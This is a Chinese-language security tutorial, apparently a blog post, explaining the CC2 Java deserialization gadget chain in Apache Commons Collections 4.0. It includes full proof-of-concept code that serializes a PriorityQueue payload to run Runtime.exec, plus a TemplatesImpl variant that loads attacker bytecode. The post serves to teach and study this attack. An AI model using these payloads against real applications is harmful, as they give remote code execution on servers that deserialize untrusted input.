• Java安全之CC2


    前言#

    由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

    • commons-collections:commons-collections

    • org.apache.commons:commons-collections4

    可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

    官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

    commons-collections4的改动#

    因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

    <dependencies>
     
     	<dependency>
     		<groupId>commons-collectionsgroupId>
     		<artifactId>commons-collectionsartifactId>
     		<version>3.2.1version>
     	dependency>
     
     	<dependency>
     		<groupId>org.apache.commonsgroupId>
     		<artifactId>commons-collections4artifactId>
     		<version>4.0version>
     dependency>
    

    因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

    image-20221113163408075

    看下decorate的定义,⾮常简单:

    public static Map decorate(Map map, Transformer factory) {
     	return new LazyMap(map, factory);
    }
    

    这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

    public static  LazyMap lazyMap(final Map map, final
    Transformersuper K, ? extends V> factory) {
      return new LazyMap(map, factory);
    }
    

    所以,我们将Gadget中出错的代码换⼀下名字:

    Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
    

    image-20221113163615717

    同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

    commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

    CC2#

    其中两个关键类:

    • java.util.PriorityQueue -
    • org.apache.commons.collections4.comparators.TransformingComparator

    java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

    image-20221113164323444

    org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

    public int compare(final I obj1, final I obj2) {
     	final O value1 = this.transformer.transform(obj1);
    	final O value2 = this.transformer.transform(obj2);
     	return this.decorated.compare(value1, value2);
    }
    

    所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

    /*
    	Gadget chain:
    		ObjectInputStream.readObject()
    			PriorityQueue.readObject()
    			PriorityQueue.heapify()
    			PriorityQueue.siftDown()
    			PriorityQueue.siftDownUsingComparator()
    			
    					TransformingComparator.compare()
    						InvokerTransformer.transform()
    							Method.invoke()
    								Runtime.exec()
     */
    

    关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

    开始编写POC,⾸先,还是创建Transformer:

    Transformer[] fakeTransformers = new Transformer[] {
       				 new ConstantTransformer(1)};
    Transformer[] transformers= new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[] {String.class},
                            new String[]{"calc.exe"}
                    )};
            Transformer chain = new ChainedTransformer(transformers);
    

    再创建⼀个TransformingComparator,传⼊我们的Transformer

    Comparator comparator = new TransformingComparator(chain)
    

    实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

    PriorityQueue queue = new PriorityQueue(2, comparator);
    queue.add(1);
    queue.add(2);
    

    后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

    setFieldValue(transformerChain, "iTransformers", transformers)
    

    完整poc如下

    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    
    public class CC2 {
        public static void setFieldValue(Object obj, String fieldName, Object
                value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
            public static void main(String[] args) throws Exception{
                Transformer[] fakeTransformers = new Transformer[]{
                        new ConstantTransformer(1)};
                Transformer[] transformers = new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class},
                                new Object[]{"getRuntime", new Class[0]}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class},
                                new Object[]{null, new Object[0]}),
                        new InvokerTransformer("exec",
                                new Class[]{String.class},
                                new String[]{"calc.exe"}
                        )};
    
                Transformer chain = new ChainedTransformer(fakeTransformers);
                Comparator comparator = new TransformingComparator(chain);
    
                PriorityQueue queue = new PriorityQueue(2, comparator);
                queue.add(1);
                queue.add(2);
    
                setFieldValue(chain, "iTransformers", transformers);
    
                ByteArrayOutputStream barr = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(barr);
                oos.writeObject(queue);
                oos.close();
                System.out.println(barr);
    
                ObjectInputStream ois = new ObjectInputStream(new
                        ByteArrayInputStream(barr.toByteArray()));
                Object o = (Object) ois.readObject();
    
    
            }
        }
    

    image-20221113172411046

    CC2改进#

    前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链,可以将CC2这条链也进行改造。

    public class CommonsCollections2TemplatesImpl {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        protected static byte[] getBytescode() throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
            return clazz.toBytecode();
        }
    
        public static void main(String[] args) throws Exception {
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
            Transformer transformer = new InvokerTransformer("toString", null, null);
            Comparator comparator = new TransformingComparator(transformer);
            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(obj);
            queue.add(obj);
    
            setFieldValue(transformer, "iMethodName", "newTransformer");
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
  • 相关阅读:
    【CSDN编程竞赛——第六期】
    Linux之ansible模块command,shell,raw,script,file,copy,fetch,synchronize超详解
    Linux提权--第三方软件MYSQL数据库提权(WEB+本地)
    kubernetes集群编排——istio
    NLP炼丹技巧:标签平滑label smoothing
    python数据分析与可视化
    采购实验室信息管理系统的意义及其应用价值
    数字化门店| 美业/医美门店管理系统 | 医美小程序
    【Linux】文件权限详解
    小白C语言基础详解:函数
  • 原文地址:https://www.cnblogs.com/gk0d/p/16886428.html